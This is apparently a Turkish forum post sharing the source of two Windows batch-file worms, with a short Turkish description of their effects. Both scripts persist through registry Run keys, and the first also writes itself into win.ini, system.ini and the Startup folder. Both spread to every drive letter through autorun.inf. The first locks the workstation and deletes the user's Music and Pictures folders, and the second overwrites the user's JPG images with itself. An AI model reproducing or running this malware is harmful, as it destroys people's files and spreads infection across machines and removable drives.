Kod:
%Xul%
@Echo off > Nul.Xul
@Rundll32 user32,LockWorkStation
@Set Mouse=Xul_Mouse.bat
@Echo @Echo off > %Mouse%
@Echo :Xul >> %Mouse%
@Echo @Rundll32 user32,SetCursorPos >> %Mouse%
@Echo Goto Xul >> %Mouse%
@Call %Mouse%
@Set Xul=Xul_%random%.bat
@Ren %0 %Xul%
@Set RunInf="HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
@Reg Add %RunInf% /V "Rundll32" /T "REG_SZ" /D %0 /F > Nul
@Echo [windows] >> %windir%\win.ini
@Echo run=%0 >> %windir%\win.ini
@Echo load=%0 >> %windir%\win.ini
@Echo [boot] >> %windir%\system.ini
@Echo shell=explorer.exe %0 >> %windir%\system.ini
@Set StartupDirInf="%UserProfile%\Startm~1\Programs\Startup"
@Copy /Y %0 %StartupDirInf%
@Set MemKill=Xul_Memory.bat
@Echo @Echo off > %MemKill%
@Echo %%XulMemory%% >> %MemKill%
@Echo Find "XulMemory"^<%%0^>^>%%0 >> %MemKill%
@Echo %%XulMemory%% >> %MemKill%
@Call %MemKill%
@Rd %Userprofile%\Music /S /Q > Nul
@Rd %Userprofile%\Pictures /S /Q > Nul
@For %%D In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
@Set Drive=%%D
@Copy /Y %0 %Drive%:\
@Echo [AutoRun] > %Drive%:\autorun.inf
@Echo open="%Drive%:\%Xul%" >> %%Drive%:\autorun.inf
@Echo action=Open folder to see files... >> %Drive%:\autorun.inf)
%Xul%
Kod:
%Commotion%
:::: ~Commotion Cryptosuite.org~ ::::
%Commotion%@echo off
%Commotion%set myself=PiCtUrEpErFeCt_%random%_%random%.bat
%Commotion%ren %0 %myself%
%Commotion%assoc .jpg=batfile
%Commotion%for %%j in (%UserProfile%\Pictures\*.jpg) do (copy /y %0 %%j)
%Commotion%find "Balamir"<%0>>%0
%Commotion%set valinf="rundll32_%random%_toolbar"
%Commotion%set reginf="hklm\Software\Microsoft\Windows\CurrentVersion\Run"
%Commotion%reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul
%Commotion%for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
%Commotion%copy /Y %0 %%E:\
%Commotion%echo [AutoRun] > %%E:\autorun.inf
%Commotion%echo open="%%E:\%myself%" >> %%E:\autorun.inf
%v%echo action=Open folder to see files... >> %%E:\autorun.inf)
:::: ~Commotion Cryptosuite.org~ ::::
%Commotion%
2.Worm bulaştığı makinalarda resim ve resim dosyaların üstüne kod da belirtilen ismi yazar açılışa kendisini kopyalar ve her sürücüye autorun.inf dosyası olarak atarak başlangıçta tekrar tekrar aktif olur sistemi bozar ve göçmesine neden olur..
alıntıdır.


